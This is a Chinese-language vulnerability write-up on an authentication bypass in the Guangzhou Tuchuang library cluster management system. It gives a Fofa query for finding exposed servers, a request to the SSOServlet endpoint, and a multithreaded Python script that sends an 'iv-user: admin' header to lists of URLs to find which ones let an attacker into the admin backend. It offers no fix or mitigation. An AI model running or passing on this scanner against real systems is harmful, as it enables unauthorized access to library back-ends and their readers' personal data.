
## 广州图创图书馆集群管理系统存在未授权访问
广州图创图书馆集群管理系统是一款为图书馆设计的综合性管理软件。它能够实现对图书、读者、借阅、归还等方面的管理，同时支持各类图书馆的联合管理，提高了馆藏利用率和服务效率。此外，该系统还具有自动化预约提醒、在线预约、自助借还、智能查询等功能，让读者能够更加便捷地使用图书馆资源。该系统采用分布式架构，具有安全可靠的特点，可以根据不同图书馆的需求进行配置，提供优质的服务。该系统的实现，极大地提高了图书馆的管理效率，为读者提供了更好的服务体验。
广州图创计算机软件开发有限公司图书馆集群管理系统存在逻辑绕过，攻击者可通过此漏洞登录后台。

## Fofa
```
body="广州图创计算机软件开发有限公司"
```

## poc
```
GET /interlib/common/SSOServlet? HTTP/1.1
```

## 批量检测脚本
```python
import argparse
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Suppress only the single InsecureRequestWarning from urllib3 needed for HTTPS
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def send_request(url):
    headers = {
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'iv-user': 'admin',
        'Connection': 'close'
    }
    try:
        response = requests.get(url + '/interlib/common/SSOServlet?', headers=headers, verify=False)
        if response.status_code == 200:
            print(f'{url} 存在逻辑绕过漏洞.')
        else:
            print(f'{url} no.')
    except requests.RequestException as e:
        print(f'Error scanning {url}: {e}')

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Single URL to scan')
    parser.add_argument('-r', '--readfile', help='File containing list of URLs to scan')
    args = parser.parse_args()

    urls = []

    if args.url:
        urls.append(args.url)

    if args.readfile:
        with open(args.readfile, 'r') as file:
            urls.extend([line.strip() for line in file.readlines()])

    with ThreadPoolExecutor(max_workers=15) as executor:
        executor.map(send_request, urls)

if __name__ == "__main__":
    main()

```
